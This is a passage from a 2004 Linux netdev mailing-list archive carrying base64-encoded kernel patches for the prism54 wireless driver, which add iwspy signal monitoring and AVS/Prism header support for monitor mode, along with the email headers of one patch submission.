c2xfaW9jdGwuYyBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lz bF9pb2N0bC5jCi0tLSBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQv aXNsX2lvY3RsLmMJMjAwNC0wNS0yOCAxMzo1Nzo0OC40NDg0MTMxNjggKzAyMDAKKysrIGxpbnV4 LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNsX2lvY3RsLmMJMjAwNC0w NS0yOCAxNDowNDoxNy42MDQyNTI0ODggKzAyMDAKQEAgLTIwOTgsNiArMjA5OCwzMSBAQAogCXJl dHVybiByZXQ7CiB9CiAKK3N0YXRpYyBpbnQKK3ByaXNtNTRfc2V0X3NweShzdHJ1Y3QgbmV0X2Rl dmljZSAqbmRldiwKKwkJc3RydWN0IGl3X3JlcXVlc3RfaW5mbyAqaW5mbywKKwkJdW5pb24gaXdy ZXFfZGF0YSAqdXdycSwgY2hhciAqZXh0cmEpCit7CisJaXNscGNpX3ByaXZhdGUgKnByaXYgPSBu ZXRkZXZfcHJpdihuZGV2KTsKKwl1MzIgdSwgb2lkID0gT0lEX0lOTF9DT05GSUc7CisKKwlkb3du X3dyaXRlKCZwcml2LT5taWJfc2VtKTsKKwltZ3RfZ2V0KHByaXYsIE9JRF9JTkxfQ09ORklHLCAm dSk7CisKKwlpZiAoKHV3cnEtPmRhdGEubGVuZ3RoID09IDApICYmIChwcml2LT5zcHlfZGF0YS5z cHlfbnVtYmVyID4gMCkpCisJCS8qIGRpc2FibGUgc3B5ICovCisJCXUgJj0gfklOTF9DT05GSUdf UlhBTk5FWDsKKwllbHNlIGlmICgodXdycS0+ZGF0YS5sZW5ndGggPiAwKSAmJiAocHJpdi0+c3B5 X2RhdGEuc3B5X251bWJlciA9PSAwKSkKKwkJLyogZW5hYmxlIHNweSAqLworCQl1IHw9IElOTF9D T05GSUdfUlhBTk5FWDsKKworCW1ndF9zZXQocHJpdiwgT0lEX0lOTF9DT05GSUcsICZ1KTsKKwlt Z3RfY29tbWl0X2xpc3QocHJpdiwgJm9pZCwgMSk7CisJdXBfd3JpdGUoJnByaXYtPm1pYl9zZW0p OworCisJcmV0dXJuIGl3X2hhbmRsZXJfc2V0X3NweShuZGV2LCBpbmZvLCB1d3JxLCBleHRyYSk7 Cit9CisKIHN0YXRpYyBjb25zdCBpd19oYW5kbGVyIHByaXNtNTRfaGFuZGxlcltdID0gewogCShp d19oYW5kbGVyKSBwcmlzbTU0X2NvbW1pdCwJLyogU0lPQ1NJV0NPTU1JVCAqLwogCShpd19oYW5k bGVyKSBwcmlzbTU0X2dldF9uYW1lLAkvKiBTSU9DR0lXTkFNRSAqLwpAQCAtMjExNSw3ICsyMTQw LDcgQEAKIAkoaXdfaGFuZGxlcikgTlVMTCwJLyogU0lPQ0dJV1BSSVYgKi8KIAkoaXdfaGFuZGxl cikgTlVMTCwJLyogU0lPQ1NJV1NUQVRTICovCiAJKGl3X2hhbmRsZXIpIE5VTEwsCS8qIFNJT0NH SVdTVEFUUyAqLwotCWl3X2hhbmRsZXJfc2V0X3NweSwJLyogU0lPQ1NJV1NQWSAqLworCXByaXNt NTRfc2V0X3NweSwJLyogU0lPQ1NJV1NQWSAqLwogCWl3X2hhbmRsZXJfZ2V0X3NweSwJLyogU0lP Q0dJV1NQWSAqLwogCWl3X2hhbmRsZXJfc2V0X3RocnNweSwJLyogU0lPQ1NJV1RIUlNQWSAqLwog CWl3X2hhbmRsZXJfZ2V0X3RocnNweSwJLyogU0lPQ0dJV1RIUlNQWSAqLwpAQCAtMjE4Miw3ICsy MjA3LDYgQEAKICNkZWZpbmUgSVdQUklWX1NTSUQobix4KQlJV1BSSVZfU0VUX1NTSUQobix4KSwg SVdQUklWX0dFVChuLHgpCiAjZGVmaW5lIElXUFJJVl9BRERSKG4seCkJSVdQUklWX1NFVF9BRERS KG4seCksIElXUFJJVl9HRVQobix4KQogCi0KIC8qIE5vdGUgOiBsaW1pdGVkIHRvIDEyOCBwcml2 YXRlIGlvY3RscyAqLwogCiBzdGF0aWMgY29uc3Qgc3RydWN0IGl3X3ByaXZfYXJncyBwcmlzbTU0 X3ByaXZhdGVfYXJnc1tdID0gewpAQCAtMjI2MSw3ICsyMjg1LDcgQEAKIAlJV1BSSVZfR0VUKERP VDExX09JRF9GUkVRVUVOQ1lBQ1RJVklUWSwgImZyZXFhY3Rpdml0eSIpLAogCUlXUFJJVl9VMzIo RE9UMTFfT0lEX05PTkVSUFBST1RFQ1RJT04sICJub25lcnBwcm90ZWMiKSwKIAlJV1BSSVZfVTMy KERPVDExX09JRF9QUk9GSUxFUywgInByb2ZpbGUiKSwKLQlJV1BSSVZfR0VUKERPVDExX09JRF9F WFRFTkRFRFJBVEVTLCJleHRyYXRlcyIpLAorCUlXUFJJVl9HRVQoRE9UMTFfT0lEX0VYVEVOREVE UkFURVMsICJleHRyYXRlcyIpLAogCUlXUFJJVl9VMzIoRE9UMTFfT0lEX01MTUVBVVRPTEVWRUws ICJtbG1lbGV2ZWwiKSwKIAogCUlXUFJJVl9HRVQoRE9UMTFfT0lEX0JTU1MsICJic3NzIiksCkBA IC0yMzA4LDIwICsyMzMyLDEzIEBACiAJLnN0YW5kYXJkID0gKGl3X2hhbmRsZXIgKikgcHJpc201 NF9oYW5kbGVyLAogCS5wcml2YXRlID0gKGl3X2hhbmRsZXIgKikgcHJpc201NF9wcml2YXRlX2hh bmRsZXIsCiAJLnByaXZhdGVfYXJncyA9IChzdHJ1Y3QgaXdfcHJpdl9hcmdzICopIHByaXNtNTRf cHJpdmF0ZV9hcmdzLAorCS5zcHlfb2Zmc2V0ID0gb2Zmc2V0b2YoaXNscGNpX3ByaXZhdGUsIHNw eV9kYXRhKSwKIH07CiAKLS8qIFRoZXNlIGlvY3RscyB3b24ndCB3b3JrIHdpdGggdGhlIG5ldyBB UEkgKi8KKy8qIEZvciBpb2N0bHMgdGhhdCBkb24ndCB3b3JrIHdpdGggdGhlIG5ldyBBUEkgKi8K IAogaW50CiBwcmlzbTU0X2lvY3RsKHN0cnVjdCBuZXRfZGV2aWNlICpuZGV2LCBzdHJ1Y3QgaWZy ZXEgKnJxLCBpbnQgY21kKQogewotCS8qc3RydWN0IGl3cmVxICp3cnEgPSAoc3RydWN0IGl3cmVx ICopIHJxOwotCSAgIGlzbHBjaV9wcml2YXRlICpwcml2ID0gbmV0ZGV2X3ByaXYobmRldik7Ci0J ICAgaW50IHJldCA9IDA7Ci0KLQkgICBzd2l0Y2ggKGNtZCkgewotCi0JICAgfQotCSAqLwogCXJl dHVybiAtRU9QTk9UU1VQUDsKIH0KZGlmZiAtTmF1ckViIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9u ZXQvd2lyZWxlc3MvcHJpc201NC9pc2xfb2lkLmggbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQv d2lyZWxlc3MvcHJpc201NC9pc2xfb2lkLmgKLS0tIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQv d2lyZWxlc3MvcHJpc201NC9pc2xfb2lkLmgJMjAwNC0wNS0yOCAxMzo1Nzo0OC40NTA0MTI4NjQg KzAyMDAKKysrIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNs X29pZC5oCTIwMDQtMDUtMjggMTQ6MDQ6MTcuNjA2MjUyMTg0ICswMjAwCkBAIC05MSw2ICs5MSwx OSBAQAogCXUxNiBtaHpbMF07CiB9IF9fYXR0cmlidXRlX18gKChwYWNrZWQpKTsKIAorc3RydWN0 IG9ial9yeF9hbm5leCB7CisJdTggYWRkcjFbRVRIX0FMRU5dOworCXU4IGFkZHIyW0VUSF9BTEVO XTsKKwl1MzIgc29tZXRoaW5nMDsKKwl1MzIgdGltZTsKKwl1MTYgc29tZXRoaW5nMTsKKwl1MTYg cmF0ZTsKKwl1MTYgZnJlcTsKKwl1MTYgc29tZXRoaW5nMjsKKwl1OCByc3NpOworCXU4IHBhZFsz XTsKK30gX19hdHRyaWJ1dGVfXyAoKHBhY2tlZCkpOworCiAvKiAKICAqIGluIGNhc2UgZXZlcnl0 aGluZydzIG9rLCB0aGUgaW5saW5lZCBmdW5jdGlvbiBiZWxvdyB3aWxsIGJlCiAgKiBvcHRpbWl6 ZWQgYXdheSBieSB0aGUgY29tcGlsZXIuLi4KZGlmZiAtTmF1ckViIGxpbnV4LTIuNi42Y3QvZHJp dmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZGV2LmggbGludXgtMi42LjYtMDEvZHJp dmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZGV2LmgKLS0tIGxpbnV4LTIuNi42Y3Qv ZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZGV2LmgJMjAwNC0wNS0yOCAxNDow Mjo0Mi4xMjI3Njc4ODAgKzAyMDAKKysrIGxpbnV4LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVs ZXNzL3ByaXNtNTQvaXNscGNpX2Rldi5oCTIwMDQtMDUtMjggMTQ6MDQ6MTcuNjA3MjUyMDMyICsw MjAwCkBAIC0yNiw2ICsyNiw3IEBACiAjaW5jbHVkZSA8bGludXgvdmVyc2lvbi5oPgogI2luY2x1 ZGUgPGxpbnV4L25ldGRldmljZS5oPgogI2luY2x1ZGUgPGxpbnV4L3dpcmVsZXNzLmg+CisjaW5j bHVkZSA8bmV0L2l3X2hhbmRsZXIuaD4KICNpbmNsdWRlIDxsaW51eC9saXN0Lmg+CiAKICNpZiBM SU5VWF9WRVJTSU9OX0NPREUgPiBLRVJORUxfVkVSU0lPTigyLDUsNDEpCkBAIC0xMTEsNiArMTEy LDggQEAKIAlzdHJ1Y3QgaXdfc3RhdGlzdGljcyBsb2NhbF9pd3N0YXRpc3RpY3M7CiAJc3RydWN0 IGl3X3N0YXRpc3RpY3MgaXdzdGF0aXN0aWNzOwogCisJc3RydWN0IGl3X3NweV9kYXRhIHNweV9k YXRhOyAvKiBpd3NweSBzdXBwb3J0ICovCisKIAlzdHJ1Y3QgaXNscGNpX2FjbCBhY2w7CiAKIAkv KiBQQ0kgYnVzIGFsbG9jYXRpb24gJiBjb25maWd1cmF0aW9uIG1lbWJlcnMgKi8KZGlmZiAtTmF1 ckViIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZXRo LmMgbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lfZXRo LmMKLS0tIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9pc2xwY2lf ZXRoLmMJMjAwNC0wNS0yOCAxNDowMjo0Mi4xMjM3Njc3MjggKzAyMDAKKysrIGxpbnV4LTIuNi42 LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNscGNpX2V0aC5jCTIwMDQtMDUtMjgg MTQ6MDQ6MTcuNjA5MjUxNzI4ICswMjAwCkBAIC0xLDcgKzEsNyBAQAogLyoKICAqICAKICAqICBD b3B5cmlnaHQgKEMpIDIwMDIgSW50ZXJzaWwgQW1lcmljYXMgSW5jLgotICoKKyAqICBDb3B5cmln aHQgKEMpIDIwMDQgQXVyZWxpZW4gQWxsZWF1bWUgPHNsdHNAZnJlZS5mcj4KICAqICBUaGlzIHBy b2dyYW0gaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yIG1v ZGlmeQogICogIGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIEdlbmVyYWwgUHVibGljIExp Y2Vuc2UgYXMgcHVibGlzaGVkIGJ5CiAgKiAgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbjsg ZWl0aGVyIHZlcnNpb24gMiBvZiB0aGUgTGljZW5zZQpAQCAtMjY2LDcgKzI2Niw4IEBACiAJaW5k ZXggPSBwcml2LT5mcmVlX2RhdGFfcnggJSBJU0wzOFhYX0NCX1JYX1FTSVpFOwogCXNpemUgPSBs ZTE2X3RvX2NwdShjb250cm9sX2Jsb2NrLT5yeF9kYXRhX2xvd1tpbmRleF0uc2l6ZSk7CiAJc2ti ID0gcHJpdi0+ZGF0YV9sb3dfcnhbaW5kZXhdOwotCW9mZnNldCA9ICgodW5zaWduZWQgbG9uZykg bGUzMl90b19jcHUoY29udHJvbF9ibG9jay0+cnhfZGF0YV9sb3dbaW5kZXhdLmFkZHJlc3MpIC0K KwlvZmZzZXQgPSAoKHVuc2lnbmVkIGxvbmcpCisJCSAgbGUzMl90b19jcHUoY29udHJvbF9ibG9j ay0+cnhfZGF0YV9sb3dbaW5kZXhdLmFkZHJlc3MpIC0KIAkJICAodW5zaWduZWQgbG9uZykgc2ti LT5kYXRhKSAmIDM7CiAKICNpZiBWRVJCT1NFID4gU0hPV19FUlJPUl9NRVNTQUdFUwpAQCAtMzIw LDE1ICszMjEsMzQgQEAKIAkJICogaGVhZGVyIGFuZCB3aXRob3V0IHRoZSBGQ1MuIEJ1dCB0aGVy ZSBhIGlzIGEgYml0IHRoYXQKIAkJICogaW5kaWNhdGVzIGlmIHRoZSBwYWNrZXQgaXMgY29ycnVw dGVkIDotKSAqLwogCQlpZiAoc2tiLT5kYXRhWzhdICYgMHgwMSkKLQkJCS8qIFRoaXMgb25lIGlz IGJhZC4gRHJvcCBpdCAhKi8KKwkJCS8qIFRoaXMgb25lIGlzIGJhZC4gRHJvcCBpdCAhICovCiAJ CQlkaXNjYXJkID0gMTsKIAkJc2tiX3B1bGwoc2tiLCAyMCk7CiAJCXNrYi0+cHJvdG9jb2wgPSBo dG9ucyhFVEhfUF84MDJfMik7CiAJCXNrYi0+bWFjLnJhdyA9IHNrYi0+ZGF0YTsKIAkJc2tiLT5w a3RfdHlwZSA9IFBBQ0tFVF9PVEhFUkhPU1Q7Ci0JfSBlbHNlCisJfSBlbHNlIHsKKwkJaWYgKHNr Yi0+ZGF0YVsyICogRVRIX0FMRU5dID09IDApIHsKKwkJCS8qIFRoZSBwYWNrZXQgaGFzIGEgcnhf YW5uZXguIFJlYWQgaXQgZm9yIHNweSBtb25pdG9yaW5nLCBUaGVuCisJCQkgKiByZW1vdmUgaXQs IHdoaWxlIGtlZXBpbmcgdGhlIDIgbGVhZGluZyBNQUMgYWRkci4KKwkJCSAqLworCQkJc3RydWN0 IGl3X3F1YWxpdHkgd3N0YXRzOworCQkJc3RydWN0IG9ial9yeF9hbm5leCAqYW5uZXggPQorCQkJ ICAgIChzdHJ1Y3Qgb2JqX3J4X2FubmV4ICopIHNrYi0+ZGF0YTsKKwkJCXdzdGF0cy5sZXZlbCA9 IGFubmV4LT5yc3NpOworCQkJLyogVGhlIG5vaXNlIHZhbHVlIGNhbiBiZSBhIGJpdCBvdXRkYXRl ZCBpZiBub2JvZHkncyAKKwkJCSAqIHJlYWRpbmcgd2lyZWxlc3Mgc3RhdHMuLi4gKi8KKwkJCXdz dGF0cy5ub2lzZSA9IHByaXYtPml3c3RhdGlzdGljcy5xdWFsLm5vaXNlOworCQkJd3N0YXRzLnF1 YWwgPSB3c3RhdHMubGV2ZWwgLSB3c3RhdHMubm9pc2U7CisJCQl3c3RhdHMudXBkYXRlZCA9IDB4 MDc7CisJCQkvKiBVcGRhdGUgc3B5IHJlY29yZHMgKi8KKwkJCXdpcmVsZXNzX3NweV91cGRhdGUo bmRldiwgYW5uZXgtPmFkZHIyLCAmd3N0YXRzKTsKKwkJCS8qIDIwID0gc2l6ZW9mKHN0cnVjdCBv YmpfcnhfYW5uZXgpIC0gMipFVEhfQUxFTiAqLworCQkJbWVtY3B5KHNrYi0+ZGF0YSArIDIwLCBz a2ItPmRhdGEsIDIgKiBFVEhfQUxFTik7CisJCQlza2JfcHVsbChza2IsIDIwKTsKKwkJfQogCQlz a2ItPnByb3RvY29sID0gZXRoX3R5cGVfdHJhbnMoc2tiLCBuZGV2KTsKLQorCX0KIAlza2ItPmlw X3N1bW1lZCA9IENIRUNLU1VNX05PTkU7CiAJcHJpdi0+c3RhdGlzdGljcy5yeF9wYWNrZXRzKys7 CiAJcHJpdi0+c3RhdGlzdGljcy5yeF9ieXRlcyArPSBzaXplOwpAQCAtMzQzLDggKzM2Myw3IEBA CiAJaWYgKGRpc2NhcmQpIHsKIAkJZGV2X2tmcmVlX3NrYihza2IpOwogCQlza2IgPSBOVUxMOwot CX0KLQllbHNlCisJfSBlbHNlCiAJCW5ldGlmX3J4KHNrYik7CiAKIAkvKiBpbmNyZW1lbnQgdGhl IHJlYWQgaW5kZXggZm9yIHRoZSByeCBkYXRhIGxvdyBxdWV1ZSAqLwpAQCAtMzk1LDcgKzQxNCw3 IEBACiAJCXdtYigpOwogCiAJCS8qIGluY3JlbWVudCB0aGUgZHJpdmVyIHJlYWQgcG9pbnRlciAq LwotCQlhZGRfbGUzMnAoKHUzMiAqKSAmIGNvbnRyb2xfYmxvY2stPgorCQlhZGRfbGUzMnAoKHUz MiAqKSAmY29udHJvbF9ibG9jay0+CiAJCQkgIGRyaXZlcl9jdXJyX2ZyYWdbSVNMMzhYWF9DQl9S WF9EQVRBX0xRXSwgMSk7CiAJfQogCkBAIC00MjMsNyArNDQyLDcgQEAKIAkvKiBpbmNyZW1lbnQg dGhlIHRyYW5zbWl0IGVycm9yIGNvdW50ZXIgKi8KIAlzdGF0aXN0aWNzLT50eF9lcnJvcnMrKzsK IAotCWlmKCFwcml2LT5yZXNldF90YXNrX3BlbmRpbmcpIHsKKwlpZiAoIXByaXYtPnJlc2V0X3Rh c2tfcGVuZGluZykgewogCQlwcml2LT5yZXNldF90YXNrX3BlbmRpbmcgPSAxOwogCQluZXRpZl9z dG9wX3F1ZXVlKG5kZXYpOwogCQlzY2hlZHVsZV93b3JrKCZwcml2LT5yZXNldF90YXNrKTsKZGlm ZiAtTmF1ckViIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9vaWRf bWd0LmMgbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9vaWRfbWd0 LmMKLS0tIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9vaWRfbWd0 LmMJMjAwNC0wNS0yOCAxMzo1Nzo0OC40NTU0MTIxMDQgKzAyMDAKKysrIGxpbnV4LTIuNi42LTAx L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvb2lkX21ndC5jCTIwMDQtMDUtMjggMTQ6MDQ6 MTcuNjExMjUxNDI0ICswMjAwCkBAIC01NzAsNiArNTcwLDE3IEBACiAJbWd0X2NwdV90b19sZShp c2xfb2lkW25dLmZsYWdzICYgT0lEX0ZMQUdfVFlQRSwgcHJpdi0+bWliW25dKTsKIH0KIAordm9p ZAorbWd0X2dldChpc2xwY2lfcHJpdmF0ZSAqcHJpdiwgZW51bSBvaWRfbnVtX3Qgbiwgdm9pZCAq cmVzKQoreworCUJVR19PTihPSURfTlVNX0xBU1QgPD0gbik7CisJQlVHX09OKHByaXYtPm1pYltu XSA9PSBOVUxMKTsKKwlCVUdfT04ocmVzID09IE5VTEwpOworCisJbWVtY3B5KHJlcywgcHJpdi0+ bWliW25dLCBpc2xfb2lkW25dLnNpemUpOworCW1ndF9sZV90b19jcHUoaXNsX29pZFtuXS5mbGFn cyAmIE9JRF9GTEFHX1RZUEUsIHJlcyk7Cit9CisKIC8qIENvbW1pdHMgdGhlIGNhY2hlLiBMb2Nr IG91dHNpZGUuICovCiAKIHN0YXRpYyBlbnVtIG9pZF9udW1fdCBjb21taXRfcGFydDFbXSA9IHsK ZGlmZiAtTmF1ckViIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9v aWRfbWd0LmggbGludXgtMi42LjYtMDEvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9vaWRf bWd0LmgKLS0tIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9vaWRf bWd0LmgJMjAwNC0wNS0yOCAxMzo1Nzo0OC40NTc0MTE4MDAgKzAyMDAKKysrIGxpbnV4LTIuNi42 LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvb2lkX21ndC5oCTIwMDQtMDUtMjggMTQ6 MDQ6MTcuNjEyMjUxMjcyICswMjAwCkBAIC00Myw2ICs0Myw4IEBACiAKIHZvaWQgbWd0X3NldChp c2xwY2lfcHJpdmF0ZSAqLCBlbnVtIG9pZF9udW1fdCwgdm9pZCAqKTsKIAordm9pZCBtZ3RfZ2V0 KGlzbHBjaV9wcml2YXRlICosIGVudW0gb2lkX251bV90LCB2b2lkICopOworCiB2b2lkIG1ndF9j b21taXQoaXNscGNpX3ByaXZhdGUgKik7CiAKIGludCBtZ3RfbWxtZV9hbnN3ZXIoaXNscGNpX3By aXZhdGUgKik7Cg== --=====================_50399570==_-- From margitsw@t-online.de Sun May 30 15:33:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 30 May 2004 15:33:36 -0700 (PDT) Received: from mailout08.sul.t-online.com (mailout08.sul.t-online.com [194.25.134.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4UMXXgi009883 for ; Sun, 30 May 2004 15:33:34 -0700 Received: from fwd08.aul.t-online.de by mailout08.sul.t-online.com with smtp id 1BUWbY-0002Ws-03; Sun, 30 May 2004 22:08:24 +0200 Received: from margit.t-online.de (ZkRqO0ZFweefOGy76fG5HtVDwexFJ4tHHYZ8eOhudOAZybRzkk4-oI@[80.128.220.231]) by fwd08.sul.t-online.com with esmtp id 1BUWbM-21teHg0; Sun, 30 May 2004 22:08:12 +0200 Message-Id: <5.1.0.14.2.20040530213344.00afff00@pop.t-online.de> X-Sender: margitsw@pop.t-online.de X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sun, 30 May 2004 21:43:48 +0200 To: netdev@oss.sgi.com From: margitsw@t-online.de (Margit Schubert-While) Subject: [PATCH 5/17 linux-2.6.7-rc2] prism54: Add avs header support Cc: jgarzik@pobox.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=====================_50410586==_" X-Seen: false X-ID: ZkRqO0ZFweefOGy76fG5HtVDwexFJ4tHHYZ8eOhudOAZybRzkk4-oI X-archive-position: 5487 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: margitsw@t-online.de Precedence: bulk X-list: netdev --=====================_50410586==_ Content-Type: text/plain; charset="us-ascii"; format=flowed 2004-03-19 Aurelien Alleaume * islpci_eth.[c,h], islpci_dev.[c,h], isl_ioctl.[c,h] : added support for avs header in monitor mode. Based on the work of Antonio Eugenio Burriel . Unified packets header (rfmon_header and rx_annex) for iwspy. --=====================_50410586==_ Content-Type: application/octet-stream; name="05-add-avs-header.patch" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="05-add-avs-header.patch" ZGlmZiAtTmF1ckViIGxpbnV4LTIuNi42Y3QvZHJpdmVycy9uZXQvd2lyZWxlc3MvcHJpc201NC9p c2xfaW9jdGwuYyBsaW51eC0yLjYuNi0wMS9kcml2ZXJzL25ldC93aXJlbGVzcy9wcmlzbTU0L2lz bF9pb2N0bC5jCi0tLSBsaW51eC0yLjYuNmN0L2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQv aXNsX2lvY3RsLmMJMjAwNC0wNS0yOCAxNDowNDo1NS4yNDM1MzA0NDggKzAyMDAKKysrIGxpbnV4 LTIuNi42LTAxL2RyaXZlcnMvbmV0L3dpcmVsZXNzL3ByaXNtNTQvaXNsX2lvY3RsLmMJMjAwNC0w NS0yOCAxNDowNjozNy45Mjk5MTk3NDQgKzAyMDAKQEAgLTMyNywzNCArMzI3LDE1IEBACiB7CiAJ aXNscGNpX3ByaXZhdGUgKnByaXYgPSBuZXRkZXZfcHJpdihuZGV2KTsKIAlpbnQgcnZhbHVlOwot CXUzMiBjID0gMDsKKwl1MzIgYzsKIAotCS8qIHByZXBhcmUgdGhlIHN0cnVjdHVyZSBmb3IgdGhl IHNldCBvYmplY3QgKi8KIAlpZiAoZndycS0+bSA8IDEwMDApCi0JCS8qIHN0cnVjdHVyZSB2YWx1 ZSBjb250YWlucyBhIGNoYW5uZWwgaW5kaWNhdGlvbiAqLworCQkvKiB3ZSBoYXZlIGEgY2hhbm5l bCBudW1iZXIgKi8KIAkJYyA9IGZ3cnEtPm07Ci0JZWxzZSB7Ci0JCS8qIHN0cnVjdHVyZSBjb250 YWlucyBhIGZyZXF1ZW5jeSBpbmRpY2F0aW9uIGFuZCBmd3JxLT5lID0gMSAqLwotCQlpbnQgZiA9 IGZ3cnEtPm0gLyAxMDAwMDA7Ci0KLQkJaWYgKGZ3cnEtPmUgIT0gMSkKLQkJCXJldHVybiAtRUlO VkFMOwotCQlpZiAoKGYgPj0gMjQxMikgJiYgKGYgPD0gMjQ4NCkpIHsKLQkJCXdoaWxlICgoYyA8 IDE0KSAmJiAoZiAhPSBmcmVxdWVuY3lfbGlzdF9iZ1tjXSkpCi0JCQkJYysrOwotCQkJaWYgKGMg Pj0gMTQpCi0JCQkJcmV0dXJuIC1FSU5WQUw7Ci0JCX0gZWxzZSBpZiAoKGYgPj0gKGludCkgNTE3 MCkgJiYgKGYgPD0gKGludCkgNTMyMCkpIHsKLQkJCXdoaWxlICgoYyA8IDEyKSAmJiAoZiAhPSBm cmVxdWVuY3lfbGlzdF9hW2NdKSkKLQkJCQljKys7Ci0JCQlpZiAoYyA+PSAxMikKLQkJCQlyZXR1 cm4gLUVJTlZBTDsKLQkJfSBlbHNlCi0JCQlyZXR1cm4gLUVJTlZBTDsKLQkJYysrOwotCX0KKwll bHNlCisJCWMgPSAoZndycS0+ZSA9PSAxKSA/IGNoYW5uZWxfb2ZfZnJlcShmd3JxLT5tIC8gMTAw MDAwKSA6IDA7CiAKLQlydmFsdWUgPSBtZ3Rfc2V0X3JlcXVlc3QocHJpdiwgRE9UMTFfT0lEX0NI QU5ORUwsIDAsICZjKTsKKwlydmFsdWUgPSBjID8gbWd0X3NldF9yZXF1ZXN0KHByaXYsIERPVDEx X09JRF9DSEFOTkVMLCAwLCAmYykgOiAtRUlOVkFMOwogCiAJLyogQ2FsbCBjb21taXQgaGFuZGxl ciAqLwogCXJldHVybiAocnZhbHVlID8gcnZhbHVlIDogLUVJTlBST0dSRVNTKTsKQEAgLTQxMCw3 ICszOTEsNyBAQAogCiAJbWd0X2NvbW1pdChwcml2KTsKIAlwcml2LT5uZGV2LT50eXBlID0gKHBy aXYtPml3X21vZGUgPT0gSVdfTU9ERV9NT05JVE9SKQotCSAgICA/IEFSUEhSRF9JRUVFODAyMTEg OiBBUlBIUkRfRVRIRVI7CisJICAgID8gcHJpdi0+bW9uaXRvcl90eXBlIDogQVJQSFJEX0VUSEVS OwogCXVwX3dyaXRlKCZwcml2LT5taWJfc2VtKTsKIAogCXJldHVybiAwOwpAQCAtMTk2Myw2ICsx OTQ0LDI4IEBACiB9CiAKIGludAorcHJpc201NF9zZXRfcHJpc21oZHIoc3RydWN0IG5ldF9kZXZp Y2UgKm5kZXYsIHN0cnVjdCBpd19yZXF1ZXN0X2luZm8gKmluZm8sCisJCSAgICAgX191MzIgKiB1 d3JxLCBjaGFyICpleHRyYSkKK3sKKwlpc2xwY2lfcHJpdmF0ZSAqcHJpdiA9IG5ldGRldl9wcml2 KG5kZXYpOworCXByaXYtPm1vbml0b3JfdHlwZSA9CisJICAgICgqdXdycSA/IEFSUEhSRF9JRUVF ODAyMTFfUFJJU00gOiBBUlBIUkRfSUVFRTgwMjExKTsKKwlpZiAocHJpdi0+aXdfbW9kZSA9PSBJ V19NT0RFX01PTklUT1IpCisJCXByaXYtPm5kZXYtPnR5cGUgPSBwcml2LT5tb25pdG9yX3R5cGU7 CisKKwlyZXR1cm4gMDsKK30KKworaW50CitwcmlzbTU0X2dldF9wcmlzbWhkcihzdHJ1Y3QgbmV0 X2RldmljZSAqbmRldiwgc3RydWN0IGl3X3JlcXVlc3RfaW5mbyAqaW5mbywKKwkJICAgICBfX3Uz MiAqIHV3cnEsIGNoYXIgKmV4dHJhKQoreworCWlzbHBjaV9wcml2YXRlICpwcml2ID0gbmV0ZGV2 X3ByaXYobmRldik7CisJKnV3cnEgPSAocHJpdi0+bW9uaXRvcl90eXBlID09IEFSUEhSRF9JRUVF ODAyMTFfUFJJU00pOworCXJldHVybiAwOworfQorCitpbnQKIHByaXNtNTRfc2V0X21heGZyYW1l YnVyc3Qoc3RydWN0IG5ldF9kZXZpY2UgKm5kZXYsIHN0cnVjdCBpd19yZXF1ZXN0X2luZm8gKmlu Zm8sCiAJCQkgIF9fdTMyICogdXdycSwgY2hhciAqZXh0cmEpCiB7CkBAIC0yMTk4LDYgKzIyMDEs OSBAQAogI2RlZmluZQlQUklTTTU0X1NFVF9PSURfU1RSCVNJT0NJV0ZJUlNUUFJJVisyMAogI2Rl ZmluZQlQUklTTTU0X1NFVF9PSURfQUREUglTSU9DSVdGSVJTVFBSSVYrMjIKIAorI2RlZmluZSBQ UklTTTU0X0dFVF9QUklTTUhEUglTSU9DSVdGSVJTVFBSSVYrMjMKKyNkZWZpbmUgUFJJU001NF9T 